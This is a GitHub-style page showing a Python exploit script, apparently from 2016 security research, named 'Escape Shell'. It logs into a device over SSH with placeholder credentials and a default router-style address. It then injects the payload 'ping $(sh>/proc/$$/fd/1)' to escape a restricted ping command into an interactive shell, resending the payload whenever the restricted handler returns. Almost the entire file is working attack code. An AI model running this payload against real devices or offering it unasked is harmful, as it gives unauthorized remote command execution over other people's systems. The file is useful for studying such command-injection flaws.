-
Notifications
You must be signed in to change notification settings - Fork 34
/
Copy pathescape_shell.py
84 lines (75 loc) · 2.35 KB
/
escape_shell.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
__author__ = "Santhosh Baswa"
__copyright__ = "Copyright 2016, Independent Security Research"
__program__ = "Escape Shell (RCE using <ping command> --> Shell)"
__payload__ = "ping $(sh>/proc/$$/fd/1)"
import socket
import sys
import paramiko
import threading
lock = threading.RLock()
payload = "ping $(sh>/proc/$$/fd/1) ?"
session = None
transport = None
stopbinding = False
def write(value):
with lock:
sys.stdout.write(value)
sys.stdout.flush()
def channel_intercept():
try:
global stopbinding
while True:
if stopbinding:
break
data = session.recv(256)
if not data:
stopbinding = True
transport.close()
write("Press enter to exit...")
break
if "prctl_runCommandInShellWithTimeout" in data:
transport.close()
init()
session.send("%s\n" % payload)
channel_intercept()
else:
write(data)
except KeyboardInterrupt:
stopbinding = True
transport.close()
def bind_stdin():
try:
global stopbinding
while True:
d = sys.stdin.read(1)
if not d or stopbinding:
break
session.send(d)
except KeyboardInterrupt:
stopbinding = True
transport.close()
def init():
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(("192.168.1.1", 22)) # Any IP Address --> Login through SSH
global transport
transport = paramiko.Transport(sock)
try:
transport.start_client()
except paramiko.SSHException:
write("SSH negotiation failed.")
sys.exit(1)
if not transport.is_authenticated():
transport.auth_password("username", "password") # Give proper creds to SSH Connection
if not transport.is_authenticated():
write("Authentication failed.")
transport.close()
sys.exit(1)
global session
session = transport.open_session()
session.get_pty()
session.invoke_shell()
init()
writer = threading.Thread(target=channel_intercept)
writer.start()
session.send("%s\n" % payload) # Execute the particular payload in remote server
bind_stdin()